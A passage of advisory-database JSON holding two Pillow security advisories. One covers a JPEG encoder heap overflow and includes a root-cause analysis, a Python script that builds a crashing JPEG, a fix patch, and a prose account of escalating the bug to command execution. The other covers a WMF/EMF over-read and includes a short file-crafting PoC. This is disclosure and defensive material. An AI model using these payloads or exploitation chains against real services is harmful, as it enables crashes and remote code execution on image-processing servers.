13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OGc0LXhxd3YtcTNnOM4AB_G6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nN2NyLTNwMjQtN3dmN84AB_GT","url":"https://github.com/advisories/GHSA-g7cr-3p24-7wf7","title":"Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer","description":"```\n============================================================================\nHeap buffer overflow writing JPEG comment after ICC profile fills buffer\nLocation: src/libImaging/JpegEncode.c:330  in ImagingJpegEncode()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.\n\nThe bug is in `ImagingJpegEncode()` in `src/libImaging/JpegEncode.c`. State 4 (line 330) calls `jpeg_write_marker()` for the COM comment marker without checking that the output buffer has room. Meanwhile, `JpegImagePlugin._save()` sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's `emit_byte()` stores one byte past the end and then decrements `free_in_buffer` from 0. The `size_t` counter wraps, so the marker, the comment and the entire compressed image are written out of bounds.\n\nTriggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through `Image.open()` and then `im.save(..., \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))`. That is the documented way to preserve colour. The comment is forwarded from `im.info` automatically, and no non-default setting is involved.\n\nThe attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation.\n\nThe unguarded call was introduced in e50ae85ea406 (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0.\n\n## Details\n\n`ImagingJpegEncode()` (`src/libImaging/JpegEncode.c`) is a resumable state machine that fills a caller-supplied output buffer of `bytes` bytes and returns when it is full. State 4 writes the JPEG COM marker with `jpeg_write_marker()` without first checking that the buffer has any room left. When the preceding state 3 — the verbatim copy of the \"extra\" APP segments (ICC profile / XMP) — ends exactly at the last byte of the buffer, `jpeg_write_marker()` is entered with `free_in_buffer == 0`. libjpeg's `emit_byte()` stores the byte first and tests `--free_in_buffer == 0` afterwards, so the `size_t` counter wraps to 2^64-1 instead of triggering the \"buffer full\" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in `src/encode.c`.\n\nA JPEG laid out as\n\n```\nFFD8                                   SOI\nFFE2 \u003clen\u003e \"ICC_PROFILE\\0\" 01 01 \u003c65498 bytes\u003e     -\u003e im.info[\"icc_profile\"]\nFFFE \u003clen\u003e \u003ccomment, any length 1..65533\u003e           -\u003e im.info[\"comment\"]\n\u003cany baseline RGB JPEG body\u003e\n```\n\nopened with `Image.open()` and re-saved with the usual colour-profile-preserving call\n\n```python\nim.save(out, \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))\n```\n\nkills the Python process on the stock build at this commit: glibc aborts with `realloc(): invalid next size` / `corrupted size vs. prev_size`, or the process takes SIGSEGV inside `jpeg_write_marker`/`jpeg_write_scanlines`. Stopping at `JpegEncode.c:330` in gdb shows `next_output_byte - buf == 65536`, `free_in_buffer == 0`, `comment_size == 65533` before the call, and `next_output_byte - buf == 131073`, `free_in_buffer == 18446744073709486079` after it — 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting `Invalid write ... 0 bytes after a block of size 65,569` from `jpeg_write_marker` called at `JpegEncode.c:330` before aborting on the corrupted heap metadata.\n\n### Code path\n\nThe buffer. `JpegImagePlugin._save()` sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment:\n\n```python\n# src/PIL/JpegImagePlugin.py:859-862\n    else:\n        # The EXIF info needs to be written as one block, + APP1, + one spare byte.\n        # Ensure that our buffer is big enough. Same with the icc_profile block.\n        bufsize = max(len(exif) + 5, len(extra) + 1)\n```\n\n`ImageFile._save()` then takes `max(MAXBLOCK, bufsize, width*4)` (`src/PIL/ImageFile.py:662`, `MAXBLOCK = 65536`), and `_encode()` allocates exactly that: `buf = PyBytes_FromStringAndSize(NULL, bufsize)` (`src/encode.c:134`; the real-file path `_encode_to_file()` does `malloc(bufsize)` at `src/encode.c:190`). For the input above `len(extra) == 65516`, so the buffer is 65536 bytes. The `optimize`/`progressive` branch just above (`JpegImagePlugin.py:846-858`) is not immune: its `bufsize` adds `w*h` (or `2*w*h`), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19×1 image).\n\nThe \"+1 spare byte\" does not account for what libjpeg itself has already put in the buffer: in state 1 `jpeg_start_compress(\u0026cinfo, TRUE)` (`JpegEncode.c:279`) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining:\n\n```c\n// src/libImaging/JpegEncode.c:302-337\n        case 3:\n            if (context-\u003eextra) {\n                unsigned int n = context-\u003eextra_size - context-\u003eextra_offset;\n                if (n \u003e context-\u003edestination.pub.free_in_buffer) {\n                    n = context-\u003edestination.pub.free_in_buffer;\n                }\n                memcpy(context-\u003edestination.pub.next_output_byte, context-\u003eextra + context-\u003eextra_offset, n);\n                context-\u003edestination.pub.next_output_byte += n;\n                context-\u003edestination.pub.free_in_buffer -= n;\n                context-\u003eextra_offset += n;\n                if (context-\u003eextra_offset \u003e= context-\u003eextra_size) {\n                    state-\u003estate++;                 // done -\u003e fall into case 4, even with free_in_buffer == 0\n                } else {\n                    break;\n                }\n            } …\n\n        case 4:\n            if (context-\u003ecomment) {\n                jpeg_write_marker(\u0026context-\u003ecinfo, JPEG_COM,\n                                  (unsigned char *)context-\u003ecomment, context-\u003ecomment_size);   // :330 — no space check\n            }\n            state-\u003estate++;\n\n        case 5:\n            if (1024 \u003e context-\u003edestination.pub.free_in_buffer) {   // passes: free_in_buffer is now ~2^64\n                break;\n            }\n            … jpeg_write_scanlines(…) …\n```\n\nEvery other emitting state is guarded — state 2 requires `rawExifLen + 5 \u003c= free_in_buffer` (`:287`), state 5 requires 1024 free bytes (`:340`), state 6 requires 100 (`:368`). State 4 has no guard at all. The unguarded `jpeg_write_marker()` call was introduced in `e50ae85ea406` (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0; at 9.3.0 the same input re-saves correctly.\n\nWith 20 header bytes plus 65516 extra bytes the copy consumes the buffer to the byte (`free_in_buffer == 0`) and, because the extra block is complete, control falls straight into state 4. One re-wrapped ICC APP2 segment costs 18 bytes of overhead (`JpegImagePlugin.py:788-806`), hence the 65498-byte profile payload. Pillow's destination manager cannot suspend (`empty_output_buffer()` returns FALSE, `JpegEncode.c:45-48`), which is why a *nearly* full buffer is harmless: with 1..N free bytes the comment write decrements `free_in_buffer` to 0 part-way, libjpeg raises `JERR_CANT_SUSPEND`, and the save fails with `OSError: broken data stream`. Only the exact-fit case skips that check, because libjpeg-turbo's marker writer is\n\n```c\n/* jcmarker.c */\n  *(dest-\u003enext_output_byte)++ = (JOCTET)val;\n  if (--dest-\u003efree_in_buffer == 0) { if (!(*dest-\u003eempty_output_buffer)(cinfo)) ERREXIT(cinfo, JERR_CANT_SUSPEND); }\n```\n\ni.e. it writes `buf[65536]` first and then wraps the counter. From there nothing limits the stream: the comment (up to 65533 attacker-chosen bytes) is written verbatim, state 5's 1024-byte check passes against the wrapped counter, and `jpeg_write_scanlines()` appends the full compressed image (≈100 KB for a 256×256 noisy source; proportional to the picture for larger ones). If the process survives that, `ImagingJpegEncode()` returns `next_output_byte - buf` (≈167000) as the byte count and `_encode()` calls `_PyBytes_Resize(\u0026buf, 167199)` on the 65536-byte object, which is where glibc usually notices the smashed neighbouring chunk.\n\nAll three ingredients come from the file. `JpegImagePlugin` reassembles APP2 `ICC_PROFILE` chunks into `im.info[\"icc_profile\"]` (`:238-241`) and stores the COM payload in `im.info[\"comment\"]` (`:194`); `_save()` forwards the comment on its own — `comment = info.get(\"comment\", im.info.get(\"comment\"))` (`:808`) — so the application only has to pass the ICC profile through, which is the standard way to keep colours correct when re-encoding (`docs/handbook/image-file-formats.rst:608`). Unlike `exif` and `xmp`, there is no length check on the comment in `_save()`. A PNG source works the same way: its `iCCP` chunk becomes `im.info[\"icc_profile\"]` and a `tEXt` chunk keyed `comment` becomes `im.info[\"comment\"]` (and, being zlib-compressed, the file is only ~60 KB); that variant was also confirmed to crash. `thumbnail()` and `convert()` carry `im.info` along, so the usual `open → thumbnail → convert(\"RGB\") → save(\"JPEG\", icc_profile=…)` handler reaches the same state. `xmp=` and `extra=` feed the same `extra` block (33 bytes of overhead for the XMP APP1) and reach the same state. If the application also forwards EXIF, the exact-fit condition becomes `len(extra) + len(exif) + 4 == 65516`, both lengths again taken from the file. The comment length is irrelevant to triggering: a 17-byte `\"Created with GIMP\"` comment crashes the stock build just as reliably (SIGSEGV in `jpeg_write_scanlines`), it only changes how many of the out-of-bounds bytes are chosen verbatim by the attacker.\n\n### What lies behind the buffer\n\nThe buffer is `PyBytes_FromStringAndSize(NULL, 65536)` = `malloc(65569)`, a 0x10030-byte glibc chunk, so `buf[65536]` is the first byte of the next chunk's header. In the same `encode()` call, right after that allocation, `jpeg_start_compress()` `malloc`s libjpeg's PERMANENT pool (chunk 0xa40) and IMAGE pool (chunk 0x3f00); on a groomed or fresh heap these sit directly behind the buffer. The next thing `ImagingJpegEncode()` does after the COM write (`JpegEncode.c:352`; the state-5 room check passes because `free_in_buffer` has wrapped) is call `jpeg_write_scanlines()`, which dispatches through the method tables in that IMAGE pool before any allocator call touches the heap. In the SIGSEGV layout observed on the stock build the fault is at `jpeg_write_scanlines+133: call *0x8(%rax)` with `%rax` pointing just past the end of the buffer at memory now holding comment bytes — an indirect call through a function pointer (`cinfo-\u003emain-\u003eprocess_data`) read from bytes the file supplied.\n\n## Impact\n\nAny service that accepts JPEG uploads and re-encodes them as JPEG while preserving the embedded ICC profile (`icc_profile=im.info.get(\"icc_profile\")` — thumbnailers, CMS and e-commerce image pipelines, Django/Flask upload handlers) can be made to perform a linear heap overwrite starting immediately after a 65536-byte buffer: 4 marker bytes, then up to 65533 bytes taken verbatim from the file's COM segment, then tens to hundreds of kilobytes of compressed image data. No non-default Pillow setting is involved and the file is an otherwise valid 140–210 KB JPEG that decodes normally. The dependable outcome is termination of the worker process by SIGSEGV or a glibc heap-consistency abort (not a Python exception), i.e. denial of service of everything that process serves.\n\nIt does not stop at a crash. Both the length and the content of the first 64 KB written out of bounds are attacker-chosen, the victim buffer is an ordinary `malloc` chunk, and what `jpeg_start_compress()` allocates directly behind it — libjpeg's PERMANENT and IMAGE pools, including the method pointers `jpeg_write_scanlines()` calls through immediately afterwards — is predictable. Against a long-lived stdlib-`http.server` worker running exactly the handler above (stock `/src` build, CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5, ASLR/PIE/NX on, default Pillow settings, worker as root, attacker as uid 65534 given only the service address), this overflow was driven to shell command execution by the worker in two independent ways once library base addresses were known: (a) a JPEG with ~2400 APPn spray segments (heap grooming), the 65498-byte ICC profile and a 3020-byte COM whose bytes re-image the two libjpeg pools so that the real `grayscale_convert()` copies a chosen 384-byte scanline over `_PyRuntime`, setting `allocators.obj_arena.free = system` with `ctx` = the command — the request returns 200, the worker keeps serving, and the next pymalloc arena release runs the command (14/14 and 15/15 runs on fresh workers); (b) a 28-byte COM that rewrites the `size`/`next` of a groomed free tcache chunk sitting right behind the buffer so that Pillow's own `malloc(comment_size)` in the next JPEG save (`src/encode.c:1250`) returns `_imaging.so`'s writable `.got.plt`, the comment replaces `free` with `system`, and the encoder's cleanup `free(context-\u003ecomment)` at `JpegEncode.c:376` runs the command (14/14, deterministic once groomed). The address knowledge came from separate memory-disclosure bugs in Pillow's TIFF paths that return library pointers in output pixels/tags; those are independent defects with their own fixes, but any such disclosure — present or future — is enough, and this overflow is the only memory *write* either chain needs. Fixing it reduces those leaks to disclosures rather than footholds.\n\n## Reproducing\n\n`repro` is a single Python script. It uses the Pillow already built in `/src` and needs no rebuild. Run it as `./repro`. The last line of output is `BUG` or `OK`.\n\nThe script builds a valid 256×256 baseline JPEG from deterministic noise, so the compressed image data comes to about 100 KB. Right after SOI it adds an APP2 `ICC_PROFILE` segment (sequence 1 of 1) with a payload of `65536 - 20 - 18 = 65498` bytes. When Pillow re-encodes the image, libjpeg first writes 20 bytes of SOI and JFIF APP0, and then Pillow copies the re-wrapped ICC segment: 18 bytes of header plus the payload. Together those fill the 65536-byte encoder buffer to the last byte. The constants at the top of the script spell out this arithmetic.\n\nEach file goes through the same application code in a child `python3 -X faulthandler` process:\n\n```python\nim = Image.open(BytesIO(data))\nim.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"])\n```\n\n1. **Control.** The file has the ICC profile but no COM segment. The save returns normally with exit status 0, which shows that the exact-fit ICC profile alone is harmless.\n2. **PoC.** This is the same file plus a COM segment of 65533 `C` bytes. `JpegImagePlugin._save()` forwards `im.info[\"comment\"]` automatically. Case 4 of `ImagingJpegEncode()` writes the COM marker into the full buffer, the `free_in_buffer` counter wraps, and the comment and the entire compressed image are written past the end of the heap buffer.\n\nExpected output: the control prints `save returned normally` and `-\u003e exit status 0`. For the PoC, faulthandler prints `Fatal Python error: Segmentation fault` (sometimes a glibc message such as `realloc(): invalid next size` followed by `Aborted`). The Python stack ends in `ImageFile._encode_tile` called from `im.save`, then `-\u003e exit status -11` (or `-6`), and finally `BUG`. The verdict is `BUG` only if the PoC child was killed by a signal. A normal return or a Python exception such as `OSError` gives `OK`.\n\n## Suggested fix\n\nThe attached patch guards state 4 the way state 2 guards the EXIF marker: before calling `jpeg_write_marker()` it requires room for the 4-byte marker header plus the comment plus libjpeg's one-byte slack (`emit_byte` must never bring `free_in_buffer` to 0 with a non-suspending destination), and otherwise returns to the caller for a fresh buffer:\n\n```diff\n--- a/src/libImaging/JpegEncode.c\n+++ b/src/libImaging/JpegEncode.c\n@@ -327,6 +327,11 @@\n         case 4:\n \n             if (context-\u003ecomment) {\n+                // check for comment len + 'COM' header bytes\n+                if (context-\u003ecomment_size + 5 \u003e\n+                    context-\u003edestination.pub.free_in_buffer) {\n+                    break;\n+                }\n                 jpeg_write_marker(\n```\n\nThe encoder then returns with the buffer full, `_encode_tile()` calls it again with an empty buffer, and the comment is emitted there. The C hunk is not sufficient on its own: state 4, like state 2, relies on the Python side guaranteeing that an *empty* buffer is always large enough, and a 65533-byte comment needs 65538 bytes against a 65536-byte `MAXBLOCK` buffer — with only the C guard the encoder returns 0 bytes and no error forever and `_encode_tile()` spins. The patch therefore also changes `JpegImagePlugin._save()` to reserve `len(comment) + 5` in both sizing branches (added to `bufsize` in the `optimize`/`progressive` branch, and as a third term of the `max()` in the plain branch), and normalises the comment to `bytes` first (`str` is UTF-8-encoded, `None` becomes `b\"\"`) so the length is exact for non-ASCII `str` comments; `encode.c` already UTF-8-encodes `str` via `z#`, so the bytes written are unchanged. A side effect visible to users: comments of up to 65533 bytes now save successfully in cases that previously raised `OSError: broken data stream` because the default buffer was too small. The patch adds `test_icc_big_comment` to `Tests/test_file_jpeg.py`, which round-trips a 65533-byte comment with ICC profiles sized around the exact-fit boundary; it crashes (or raises `OSError`) on the unpatched tree and passes with the patch. With the patch applied to a clean tree and rebuilt, the reproducer no longer triggers, and `Tests/test_file_jpeg.py` and `Tests/test_file_mpo.py` pass.\n\nThe C guard still depends on the Python sizing to avoid a 0-byte/no-error busy loop, exactly as state 2 already does. A more defensive variant would fail with `IMAGING_CODEC_MEMORY` instead of `break` when the marker does not fit and nothing has been written to the current buffer yet (`next_output_byte == buf`), so that a sizing mistake in any caller can never turn into a busy loop. It would also be consistent with `exif`/`xmp` handling for `_save()` to reject comments longer than `MAX_BYTES_IN_MARKER` (65533) with `ValueError(\"Comment is too long\")` rather than leaving it to libjpeg's `JERR_BAD_LENGTH` → `OSError`.\n\nIndependently, the \"+ 1 spare byte\" / \"+ 5\" reasoning in `_save()` under-counts by the 18–20 bytes `jpeg_start_compress()` writes before the EXIF/extra blocks; that is what lets attacker-sized metadata land the buffer on an exact boundary in the first place. The attached patch does not change that accounting.\n\n## The patch\n\nCheck free output-buffer space before writing the JPEG COM marker in ImagingJpegEncode, and size the encoder buffer for the comment in JpegImagePlugin._save\n\nApplies to `src/libImaging/JpegEncode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_jpeg.py b/Tests/test_file_jpeg.py\nindex b361aef2e..f884883c4 100644\n--- a/Tests/test_file_jpeg.py\n+++ b/Tests/test_file_jpeg.py\n@@ -227,6 +227,16 @@ class TestFileJpeg:\n         im1 = self.roundtrip(hopper(), icc_profile=icc_profile)\n         assert im1.info.get(\"icc_profile\") == (icc_profile or None)\n \n+    def test_icc_big_comment(self) -\u003e None:\n+        # The ICC profile may fill the encoder buffer exactly, in which case the\n+        # comment has to be written to the next buffer\n+        comment = b\"C\" * 65533\n+        for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30):\n+            icc_profile = b\"I\" * n\n+            im = self.roundtrip(hopper(), icc_profile=icc_profile, comment=comment)\n+            assert im.info[\"icc_profile\"] == icc_profile\n+            assert im.info[\"comment\"] == comment\n+\n     def test_large_icc_meta(self, tmp_path: Path) -\u003e None:\n         # https://github.com/python-pillow/Pillow/issues/148\n         # Sometimes the meta data on the icc_profile block is bigger than\ndiff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py\nindex 4b8d34ca3..1d9f4c2fa 100644\n--- a/src/PIL/JpegImagePlugin.py\n+++ b/src/PIL/JpegImagePlugin.py\n@@ -805,7 +805,9 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -\u003e None:\n             )\n             i += 1\n \n-    comment = info.get(\"comment\", im.info.get(\"comment\"))\n+    comment = info.get(\"comment\", im.info.get(\"comment\")) or b\"\"\n+    if isinstance(comment, str):\n+        comment = comment.encode()\n \n     # \"progressive\" is the official name, but older documentation\n     # says \"progression\"\n@@ -856,10 +858,13 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -\u003e None:\n             bufsize += len(exif) + 5\n         if extra:\n             bufsize += len(extra) + 1\n+        if comment:\n+            bufsize += len(comment) + 5\n     else:\n         # The EXIF info needs to be written as one block, + APP1, + one spare byte.\n-        # Ensure that our buffer is big enough. Same with the icc_profile block.\n-        bufsize = max(len(exif) + 5, len(extra) + 1)\n+        # Ensure that our buffer is big enough. Same with the icc_profile block\n+        # and the comment (COM marker).\n+        bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5)\n \n     ImageFile._save(\n         im, fp, [ImageFile._Tile(\"jpeg\", (0, 0, *im.size), 0, rawmode)], bufsize\ndiff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c\nindex 098e431fc..b6771c6ec 100644\n--- a/src/libImaging/JpegEncode.c\n+++ b/src/libImaging/JpegEncode.c\n@@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 *buf, int bytes) {\n         case 4:\n \n             if (context-\u003ecomment) {\n+                // check for comment len + 'COM' header bytes\n+                if (context-\u003ecomment_size + 5 \u003e\n+                    context-\u003edestination.pub.free_in_buffer) {\n+                    break;\n+                }\n                 jpeg_write_marker(\n                     \u0026context-\u003ecinfo,\n                     JPEG_COM,\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 3,343 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow heap buffer overflow in ImagingJpegEncode() (src/libImaging/JpegEncode.c, case 4).\n#\n# Re-saving a JPEG with its own ICC profile, the usual \"keep the colours\" re-encode:\n#     im = Image.open(f); im.save(out, \"JPEG\", icc_profile=im.info[\"icc_profile\"])\n# If the ICC segment fills the 65536-byte encoder buffer to the last byte, the COM\n# marker (forwarded from im.info[\"comment\"] automatically) is written with\n# free_in_buffer == 0. libjpeg stores the byte, then decrements the counter, which\n# wraps to ~2^64, and the comment plus the whole compressed image go past the end\n# of the heap buffer. The Python process dies with SIGSEGV or a glibc abort.\n#\n# Runs against the stock build in /src, no rebuild. Takes about 2 seconds.\nimport random\nimport struct\nimport subprocess\nimport sys\nfrom io import BytesIO\n\nfrom PIL import Image\n\n# Output-buffer layout at the moment the COM marker is written:\nENCODER_BUFFER = 65536  # ImageFile.MAXBLOCK; _save() never makes it bigger here\nJFIF_HEADER = 20  # SOI + JFIF APP0, written by jpeg_start_compress()\nICC_OVERHEAD = 18  # FFE2 \u003clen\u003e \"ICC_PROFILE\\0\" \u003cseq\u003e \u003ccount\u003e\nICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498: exact fit\nCOMMENT = b\"C\" * 65533  # largest legal COM; content and length chosen by the file\n\n# What the victim application does with an uploaded file, run in a child process\n# so that we can see it die.\nRESAVE = \"\"\"\nimport sys\nfrom io import BytesIO\nfrom PIL import Image\nim = Image.open(BytesIO(sys.stdin.buffer.read()))\nim.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"])\nprint(\"save returned normally\")\n\"\"\"\n\n\ndef segment(marker, payload):\n    return bytes([0xFF, marker]) + struct.pack(\"\u003eH\", len(payload) + 2) + payload\n\n\ndef make_jpeg(with_comment):\n    \"\"\"A valid 256x256 JPEG: an ICC profile of ICC_PAYLOAD bytes, optionally a COM.\"\"\"\n    noise = random.Random(1234).randbytes(256 * 256 * 3)  # ~100 KB of image data\n    out = BytesIO()\n    Image.frombytes(\"RGB\", (256, 256), noise).save(out, \"JPEG\", quality=95)\n    plain = out.getvalue()\n\n    icc = segment(0xE2, b\"ICC_PROFILE\\0\\x01\\x01\" + b\"I\" * ICC_PAYLOAD)\n    com = segment(0xFE, COMMENT) if with_comment else b\"\"\n    return plain[:2] + icc + com + plain[2:]  # splice in right after SOI\n\n\ndef resave(jpeg):\n    # -X faulthandler: on a fatal signal, print where in Python the child died\n    cmd = [sys.executable, \"-X\", \"faulthandler\", \"-c\", RESAVE]\n    r = subprocess.run(cmd, input=jpeg, capture_output=True)\n    print((r.stdout + r.stderr).decode(errors=\"replace\").strip())\n    print(f\"-\u003e exit status {r.returncode}\")\n    return r.returncode\n\n\n# Control: the same file without a COM segment re-saves fine, so the buffer\n# sizing and the ICC profile on their own are harmless.\nprint(\"Control: re-save the JPEG without a comment\")\nresave(make_jpeg(with_comment=False))\n\n# The bug: add a COM segment. The comment is now written into a buffer that has\n# no room left.\nprint(f\"\\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment\")\nrc = resave(make_jpeg(with_comment=True))\n\n# A negative return code means the child was killed by a signal (SIGSEGV or\n# SIGABRT from glibc's heap checks), not by a Python exception.\nif rc \u003c 0:\n    print(f\"\\nim.save() killed the process with signal {-rc}: out-of-bounds heap write\")\n    print(\"BUG\")\nelse:\n    print(\"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T16:05:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-g7cr-3p24-7wf7","https://nvd.nist.gov/vuln/detail/CVE-2026-96778","https://github.com/python-pillow/Pillow/pull/10124","https://github.com/python-pillow/Pillow/commit/02561b8dc6117d5670d4b469fecdd02c70854f9b","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-g7cr-3p24-7wf7"],"source_kind":"github","identifiers":["GHSA-g7cr-3p24-7wf7","CVE-2026-96778"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-12-03T11:01:20.252Z","epss_percentage":0.00492,"epss_percentile":0.43872,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nN2NyLTNwMjQtN3dmN84AB_GT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nN2NyLTNwMjQtN3dmN84AB_GT","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 9.4.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nN2NyLTNwMjQtN3dmN84AB_GT/related_packages","related_advisories":[{"uuid":"CVE-2026-96778","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96778.json"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-96778","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-96778"},{"uuid":"UBUNTU-CVE-2026-96778","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"}]},{"uuid":"GSA_kwCzR0hTQS05djl2LTlxdmYtaDJoas4AB_GS","url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","title":"Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)","description":"### Summary\nOn Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.\n\n### Details\nThe EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:\n\n- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.\n\nIn the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:\n\n- `src/display.c:793-794` assign the 16-bit fields\n- `src/display.c:800` sizes the allocation from them\n- `src/display.c:827` copies `height * ((width * 3 + 3) \u0026 -4)` bytes using the full values\n\nThe whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).\n\n### PoC\n```python\nimport struct\nfrom PIL import Image\n\ndef L(v):\n    return struct.pack(\"\u003ci\", v)\n\n# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the\n# decompression-bomb check, but the width truncates to 16 bits for the allocation while\n# the copy uses 70000.\nemf  = b\"\\x01\\x00\\x00\\x00\" + L(88)          # record type + size\nemf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1\nemf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)\nemf += b\" EMF\"                              # signature at offset 40\nemf += bytes(44)\nopen(\"poc.emf\", \"wb\").write(emf)\n\nim = Image.open(\"poc.emf\")\nprint(\"size:\", im.size, \"pixels:\", im.size[0] * im.size[1])\nim.load()                                   # over-read happens here on a Windows build\n```\n\nOn Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).\n\n### Impact\nCWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T16:03:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj","https://nvd.nist.gov/vuln/detail/CVE-2026-96644","https://github.com/python-pillow/Pillow/pull/10120","https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-9v9v-9qvf-h2hj"],"source_kind":"github","identifiers":["GHSA-9v9v-9qvf-h2hj","CVE-2026-96644"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-12-03T11:01:20.252Z","epss_percentage":0.00433,"epss_percentile":0.39391,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05djl2LTlxdmYtaDJoas4AB_GS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05djl2LTlxdmYtaDJoas4AB_GS","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c 